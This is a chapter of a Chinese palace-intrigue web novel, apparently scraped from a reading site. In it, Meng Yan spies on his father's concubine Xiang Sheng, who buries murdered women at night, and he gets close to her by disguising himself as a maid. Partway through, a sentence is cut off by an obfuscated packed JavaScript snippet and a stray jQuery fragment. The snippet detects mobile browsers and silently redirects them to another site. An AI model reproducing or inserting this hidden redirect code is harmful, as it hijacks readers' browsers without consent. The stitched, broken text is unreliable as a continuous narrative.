默认冷灰
24号文字
方正启体

7. 首发

作者:沈圆明本书字数:K更新时间:
    净房水雾氤氲,潮润了视野,孟炎解开衣袍,赤身踏入水中。


    他身形高大却不粗笨,轮廓流畅又紧实,水波潋滟,反射出皎皎月色,映得他冷白的肌肤柔腻泛光,他抬手拔去发簪,长发如瀑散开,遮掩起身躯。


    孟炎拧了方帕子,反复擦拭被金钱豹碰过手臂与脖颈,皮肉皴红仍不肯停手。


    浴汤浸透了他腕处那方蝴蝶丝带,透出一道蜈蚣般的疤痕,这瑕疵与他的俊美格格不入。


    门前屏风映出一道身影,继而传来影卫阿忠的声音:“公子,小夫人忽然换了一身男装溜出门了,阿顺已跟着去了,瞧那方向,小夫人许是要折回极乐坊。”


    孟炎手中一顿,眼底划过一道锐利的寒芒——她又私藏了什么线索?她叵测的心思,只怕快要按捺不住了。


    她是项家女,与孟家有不共戴天之仇,孟炎一早便是知晓的。


    近年来朝局动荡,孟济云借纳妾试探多方势力,因此下令不许惊动送亲队,只暗中盯紧潜入其中的可疑之人。


    一个月前,影卫将细作画像送进了书房,他陪着孟济云逐一瞧去,发觉孟济云的目光触及项笙那副时猛然凝滞。


    画上的她一身小厮打扮,轮廓清瘦,眉宇间笼着经久不散的云雨,以及蓄意待发的雷鸣。


    “从前那么神采飞扬的堂堂贵女,如今也......”孟济云叹道,眸光中的遗憾转瞬即逝,笃定道:“她就是项家遗女!待她顺利随送亲队入府,你便伺机接近她,套取前太子李琢和真遗诏的下落。”


    这是孟家一直以来的心病,东宫的大火中并没寻见李琢的尸骨,那份真正的遗诏也不翼而飞。


    那时,项家女与李琢一同下落不明,真遗诏保不齐也在他们手中。


    孟炎目光晦涩,与画中人四目相接,落在任何人眼中,那都只是轻描淡写的一瞥。


    他道:“此事关乎孟家的将来,我怕让父亲失望。”


    孟济云按着他的肩头,眸底满是算计,毫无半丝真情:“京都人尽皆知你是个不通人情世故的娇惯公子,想必她不会对你设防。我的嫡子已经死了多年,只要你做成这件事,待我百年之后,你便是孟府家主。”


    “是,父亲。”


    孟炎恭顺地应道,实则半个字也没信,毕竟他这父亲总是一边许诺,一边背弃。


    可他姓孟,若项家旧案重见天日,他在孟府的多年经营便功亏一篑。


    水温渐凉,孟炎起身出浴,凛冽的目光透过窗牖凝视极乐坊的方向,不论她私藏了什么线索,都莫想瞒过他的眼睛。


    *


    黑市,极乐坊。


    甚少有人知晓这纸醉金迷的勾栏有一处污秽不堪的后门,夜浓时分,搬尸人会如期而至,把今日惨死的尸首一一拖走。


    ——笃笃!


    三更方过,便传来叩门声。守门的婆子拉开门栓,见今日的搬尸人身形娇小,不似做力气活的人,本觉得古怪,可他那一身恶臭,实在让人作呕,终于捂着口鼻退开了。


    搬尸人身手还算麻利,很快赶车离去,消失在茫茫夜色中。


    马车直奔郊野,冷风越过枯草荒丘,偶尔裹挟起蓝色磷火,那阴冷的光芒划过搬尸人的眼眸,没入无尽晦涩。


    搬尸人正是项笙。


    她把马车停在事先挖好的土坑前,卸尸的动作略显迟缓,毕竟她一路紧握缰绳,指腹那偷袭金钱豹的划伤磨深了几许,十指连心,自然是疼的。


    她咬牙忍住,把姑娘们安置在土坑中,为她们擦拭掉被公狼磋磨的血痕,动作有力又不失温柔,似乎这掩埋,更像是照拂她们安睡。


    泥土覆盖了早已冰冷的身躯,躯体又渐渐腐朽成泥土,她们会化作此处的山川草木。


    不论是谁,不论门楣高低,不论家产贵贱,最终都会化作一抔土。


    从前她贵为京都世家之女,以为施粥散钱便是心怀慈悲,如今才明白那不过是高位者的自以为是,她的手高悬在上,从指缝露出好处的不过尔尔。


    如今她历经风波,从心底里敬畏每一条鲜活的生命,已数不清送了多少贫贱者最后一程。


    项笙收拾妥当,朝坟冢恭敬一拜,每当这时,她总想起项家几十条性命,他们的尸身无人收殓,无人祭拜,要么沤着发臭发烂,要么被野兽吞入腹中。


    是以,每一次俯首躬身的安葬,亦是在心里安葬亲人。


    待孟家土崩瓦解,待旧事真相大白的那一天,她定能真的安葬他们,不管孟家藏了什么秘密,她掘地三尺也要翻出来。


    *


    孟府,碧竹苑。


    竹影映照窗牖,如黑白水墨,房内烛台又换了新蜡,火光跃跃欲动,在孟炎眉间蹿动。


    阿顺正回禀着她今晚的去向,这项家女当真是不可捉摸,京都多少人因孟济云之死暗中盯着她,若非他,她早已命悬刀尖,竟还有闲情逸致去管旁人死活。


    孟炎冷嗤道:“给她把金疮药送去,伤了手还怎么替我们做事,当真本末倒置。”


    半晌,阿顺又回禀道:“小夫人推说困了,连贴身服侍的秋月也被撵了出来。”


    孟炎闻言,心海如被投掷了一枚石子,虽是小到不起眼,还是招惹出圈圈涟漪。


    她永远这般不识抬举,但他想做成的事,从无遗漏。


    孟炎眼中闪过一丝狡黠,疾步走到衣柜前,翻出压底的女使的衣裙,而后运力调息,只听得骨骼咯咯作响,身形竟小了一圈,原本合身的素袍忽地松垮滑落。


    孟府妾室居于螽斯台,取“多子多福”之意,回字院落中隔出许多房间,从前住满了女子。


    她们踏不出这方天井,从早熬到晚只盼孟济云的宠爱,若无所出,便会灌下稀奇古怪的偏方,久而久之,或身子垮掉,或抑郁而终。


    抬进来是喜服,抬出去是白布,如今院内空空荡荡,只剩项笙独居。


    她遣走了孟炎的眼线秋月,才敢取出随身带的草本,捣烂了覆在伤口处,她买不起名贵药材,这伤得过几日才能见好。


    即便动作不便,她也不会用孟炎送来的药,药材混成膏,比吃食饮水更难辨别良莠,她猜不透孟炎的居心,不可不防。


    项笙正要起身去关门,就见迎面闯入一个陌生面孔。


    来人身量与她相当,女使打扮,面部圆润没有一丝棱角,脸颊粉扑扑的,长睫下一双圆圆的黑瞳,像年画上的女娃娃。


    女使手上端着盆热水,娇憨笑道:“见过小夫人,奴婢是值夜的夏蝉。”


    夏蝉声线灵动,真诚的模样没半点作伪,两个梨涡陷在甜美的面颊上,十分甜美。


    尤其项笙方才埋葬了那些年轻貌美的姑娘,疲惫中,不禁被夏蝉生动烂漫的模样打动。


    项笙才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276309|182434||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    迟疑了一瞬,回神时已被扶到软榻坐下,夏蝉放下水盆,正俯身为她脱去绣鞋。


    夏蝉双手灵巧,一手握着脚腕,一手解开罗袜,把她的玉足小心送入水中。


    水温正好,热气舒缓了疲乏,在慢慢蒸腾的暖意中,项笙悄悄舒了口气,全然不知夏蝉乖觉的假面下,是她的继子。


    换副面孔,换个声线于孟炎而言易如反掌。


    女使的皮囊果然好使,小娘百般防备他,如今半截小腿、脚腕,双足被他尽收眼底。她本就生得白,未经日光的肌肤更盈盈如雪,任由他揉捏。


    若他常扮做女使,是否更容易掌控项笙呢?此念乍起,孟炎不由得把邪魅的笑意抿于唇角。


    她的小腿生得光滑笔直,不似寻常女子柔若无骨,细细按压,能摸出结实的轮廓。这是她从前生活的痕迹,进出山野,在风霜中奔走。


    孟炎看在眼中,笑意忽地凝滞,他垂眸把手探入水中,轻轻揉捏她的玉足,指腹在穴位游走,见她当真对“女使”没有阻拦,手便一寸寸向上挪动,顺次抚摸过她的足尖、脚背与脚踝。


    热气浸润了她的清寒,冷白的面颊上透出红润的色泽,她长睫微颤,似在感受暖意在血脉流淌,腿脚不知不觉舒缓了大半。


    暗夜无声,只听得见水声潺潺,在他二人间流转。


    “你的小臂......”


    歇息了片刻,项笙才察觉到夏蝉腕处那道长疤,狰狞丑陋,周遭皮肉还未长好。


    “这是奴婢烧水时不慎烫的,公子已给了奴婢药膏。”说着,夏蝉沾取了一些在患处推开,笑道,“小夫人莫担心,这可是安济堂调的方子!”


    这瓶身与孟炎方才送来的一模一样。


    安济堂是大周最负盛名的医馆,凡是大周疆域,皆有安济堂的牌匾,他们悬壶济世,从不问富贵贫贱,许是孟炎自小娇惯,问诊皆是去安济堂。


    寻常女使也使得这金疮药?或许他给她药并非刻意,只是不想她耽搁了查案。


    若他送药全然出于利用,她倒是能心安理得地接受。


    项笙眼眸微沉,把孟炎新送的那瓶药递进夏蝉手中:“你这瓶已经见底了,恰我这里有新的,你且拿去。”


    唯有眼皮底下,被人试过的,她才能放心,只是她并未瞧见夏蝉嘴角一闪而过的得逞。


    三日后——


    一场风雨来的不由分说,落英纷纷,飘在春衫上当做不经意的点缀。


    孟炎的影卫当真查到了锦囊中钥匙的线索,那钥匙出自京郊的一家拍卖场,那里戒备森严,轻易无法潜入,孟炎花重金才买到一张入场贴。


    项笙扮做小厮,跟在孟炎身后。


    拍卖场的掌事瞧见了钥匙,并未多言,当真从对应的机关匣中取出东西,递给孟炎。


    那是一簿账本,项笙一时理不清头目,便对孟炎递去眼色,那意思是回府再议。


    一切似乎太过顺利了。


    直到两人登车之时,周遭冷风乍起,数不清的黑衣蒙面人从天而降,将孟家人团团围住。


    项笙护进怀中册本,步步后退,很快与孟炎背脊相抵,再无退路。


    黑衣蒙面人中走出一个头包绷带的肥硕身影,怒意满满喝道:“你们果然寻来了,今日谁都别想跑!”


    项笙定睛细看,终于认出这人正是被他们狠狠得罪的金钱豹。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)